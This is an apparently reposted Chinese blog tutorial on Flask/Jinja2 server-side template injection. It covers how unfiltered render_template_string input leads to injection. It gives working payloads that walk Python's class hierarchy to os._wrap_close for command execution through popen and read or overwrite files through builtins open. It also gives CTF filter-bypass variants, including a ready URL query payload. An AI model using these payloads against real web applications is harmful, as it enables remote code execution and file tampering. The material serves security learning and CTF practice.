1.什么是flask?
文章来源:https://www.toymoban.com/news/detail-465508.html
flask是用python编写的一个轻量web开发框架
2.ssti成因
flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入
本地演示(需要自行安装flask,requests模块)
通过输入参数key可以进行简单的渲染,创造新的网页
当我们把render_template 换成render_template_string后,并对参数不进行处理
看看结果
代码执行了,发生了注入
3.flask基础知识
所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object
__class__:返回当前类(输入abc,是字符串类,除此以外还有元组类,字典类等)
__mor__:返回解析函数时,类的调用顺序,本例先调用str类,再调用object类,通过索引的方式__mor[1],就可返回object类
当然还可以通过__base__:返回当前类父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可通过索引访问
print('abc'.__class__.__bases__[0].__subclasses__())
print('abc'.__class__.__base__.__subclasses__())这两者一样)
__subclass__():返回当前类所有的子类,可通过索引的方式定位某一个子类
有很多,通过len()可以查看其长度,但我们需要可以进行系统命令的os._wrap_close类
于是我们需要定位该类,我们可以通过如下代码进行定位,不同的python版本,位置可能不同,我的版本是3.9,该类的位置在134,(当然也可以引入os模块,快速进行定位)
接下来,就可以继续往下了__init__(初始化方法),再通过__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行(如我执行的ipconfig)
还可以利用__builtins__下的open进行文件的读取:代码如下
print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())
我们还可以通过写入的方式修改文件内容
print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456'))
原来1.txt里面的内容是abcdef,现在修改为123456
这里返回的是文件内容的长度
我们打开文件发现内容已经修改成功,成功达到了RCE
一些ctf比赛技巧
1.如果[]索引被过滤,可以用__getitem__ ()或者get方法来进行替换
print('abc'.__class__.__base__.__subclasses__().__getitem__(134))
再比如
print('abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get('popen')('dir').read())
2.如果引号被过滤可以采用以下方式在url中实现
?key={{'abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir
3.如果关键字被过滤,可以通过__getattribute__('__'+'cla'+'ss'+'__')类似的手法进行绕过
文章来源地址https://www.toymoban.com/news/detail-465508.html
到了这里,关于flask模板注入(ssti),一篇就够了的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!